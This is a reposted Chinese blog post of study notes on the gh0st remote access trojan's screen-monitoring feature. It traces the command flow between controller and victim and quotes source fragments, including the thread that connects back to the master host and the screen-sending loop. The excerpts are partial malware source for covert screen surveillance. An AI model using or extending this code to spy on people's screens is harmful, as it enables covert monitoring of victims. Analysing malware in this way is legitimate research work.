gh0st源碼分析:屏幕監控


這兩天一直看gh0st源碼,看得也是一頭霧水,下面就分析一下屏幕監控的通信過程,對屏幕掃描算法以及繪圖方面就不分析了,因為我也不懂。寫的有點亂,就當作個筆記了。

首先從控制端按下屏幕監控選項開始,這時控制端就會調用OnScreenspy()函數。這個函數很簡單,向被控端發送COMMAND_SCREEN_SPY指令,告訴被控端我要監控你的屏幕了。此時被控端還在等待控制端的命令(ClientSocket.cpp中的Connect函數中新建的線程WorkThread一直等待執行命令),WorkThread線程等到了執行命令,調用OnRead函數對命令解密,接下來調用了CKernelManager::OnReceive函數,OnReceive看到命令是COMMAND_SCREEN_SPY,就創建了Loop_ScreenManager線程:

DWORD WINAPI Loop_ScreenManager(CClientSocket* sRemote)
{
    CClientSocket    socketClient;
    if (!socketClient.Connect(CKernelManager::m_strMasterHost, CKernelManager::m_nMasterPort))
        return -1;
    
    CScreenManager    manager(&socketClient);

    socketClient.run_event_loop();
    return 0;
}

這個線程又調用CClientSocket的Connect連接控制端,並聲明了個CScreenManager類,並將socketClientCScreenManager相關聯(參見CManager類的構造函數:m_pClient->setManagerCallBack(this);),這樣socketClient的WorkThread線程收到的數據就可以傳送到了CScreenManager::OnReceive函數中,而不是CKernelManager::OnReceive函數了。

看下CScreenManager 構造函數:

 

CScreenManager::CScreenManager(CClientSocket *pClient):CManager(pClient)
{
    m_bAlgorithm = ALGORITHM_SCAN;
    m_biBitCount = 8;
    m_pScreenSpy = new CScreenSpy(8);
    m_bIsWorking = true;
    m_bIsBlankScreen = false;
    m_bIsBlockInput = false;
    m_bIsCaptureLayer = false;

    m_hWorkThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)WorkThread, this, 0, NULL, true);
    m_hBlankThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ControlThread, this, 0, NULL, true);
}

 

構造函數中又創建了兩個線程:WorkThread和ControlThread。WorkThread主要負責發送屏幕頁面,ControlThread沒看,暫時不知道干啥。看下WorkThread線程:

DWORD WINAPI CScreenManager::WorkThread(LPVOID lparam)
{
    CScreenManager *pThis = (CScreenManager *)lparam;
    pThis->sendBITMAPINFO();
    // 等控制端對話框打開
  pThis->WaitForDialogOpen();
    pThis->sendFirstScreen();
    try // 控制端強制關閉時會出錯
    {
        while (pThis->m_bIsWorking)
            pThis->sendNextScreen();
    }catch(...){};

    return 0;
}

首先調用sendBITMAPINFO(),發送調色板信息(用TOKEN_BITMAPINFO指令標識)。發送后就等待控制端屏幕監控窗口打開(等待m_hEventDlgOpen事件,當控制端屏幕監控窗口打開時會發送COMMAND_NEXT指令,收到此指令后被控端會調用NotifyDialogIsOpen()函數來設置hEventDlgOpen)。先讓被控端在這兒等着吧,接下來我們再回到控制端。

控制端發送完COMMAND_SCREEN_SPY指令后,就繼續等待連接(ListenThreadProc線程)和等待接收數據(OnClientReading函數中接收完數據就會調用PostRecv投遞了IORead請求)。這時有了新連接(上面Loop_ScreenManager中的連接),於是調用OnAccept函數,並為這個新的連接分配了ClientContext,並建立完成端口,然后在新的完成端口上投遞IORead請求,等待接收數據。很快數據來了(調色板信息),OnClientReading函數對數據解密,然后把數據給了NotifyProc函數,NotifyProc函數又調用了ProccessReceiveComplete函數,此時還沒有建立屏幕監控窗口,因此pContext->m_Dialog[0] = 0。ProccessReceiveComplete根據TOKEN_BITMAPINFO指令,向主窗口發送了個WM_OPENSCREENSPYDIALOG消息,告訴主窗口建立個屏幕監控的窗口,於是控制端調用OnOpenScreenSpyDialog函數:

LRESULT CkongDlg::OnOpenScreenSpyDialog(WPARAM wParam, LPARAM lParam)
{
    ClientContext *pContext = (ClientContext *)lParam;

    CScreenSpyDlg    *dlg = new CScreenSpyDlg(this, m_iocpServer, pContext);
    // 設置父窗口為卓面
    dlg->Create(IDD_SCREENSPY, GetDesktopWindow());
    dlg->ShowWindow(SW_SHOW);
    
    pContext->m_Dialog[0] = SCREENSPY_DLG;
    pContext->m_Dialog[1] = (int)dlg;
    return 0;
}

創建了屏幕監控窗口,並對pContext->m_Dialog賦值。m_Dialog[0]標識是屏幕監控窗口,m_Dialog[1]指向此窗口。這樣ProccessReceiveComplete函數就可以根據pContext->m_Dialog直接將數據傳給CScreenSpyDlg了。建立了CScreenSpyDlg窗口,就要調用OnInitDialog函數,在CScreenSpyDlgOnInitDialog函數中,有調用了SendNext()函數:

 

void CScreenSpyDlg::SendNext()
{
    BYTE    bBuff = COMMAND_NEXT;
    m_iocpServer->Send(m_pContext, &bBuff, 1);
}

 

發送COMMAND_NEXT指令給被控端。前面說了,被控端在發送調色板信息后就等待COMMAND_NEXT指令。

回到被控端,收到了數據,數據解密后傳到了CScreenManager::OnReceive函數中,根據COMMAND_NEXT指令調用了NotifyDialogIsOpen()函數,NotifyDialogIsOpen函數設置了m_hEventDlgOpen事件, CScreenManager的WorkThread線程中WaitForDialogOpen()返回,於是執行pThis->sendFirstScreen(),發送第一個屏幕畫面,用TOKEN_FIRSTSCREEN來標識。

控制端收到數據后到了ProccessReceiveComplete函數,根據m_Dialog將數據傳給了CScreenSpyDlg中的OnReceiveComplete()函數,根據相關指令來重繪屏幕監控窗口。接下來被控端不停的發,控制端就不停的重繪.........

 還沒分析完,還有發送控制命令那一塊沒看,有時間再寫。

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM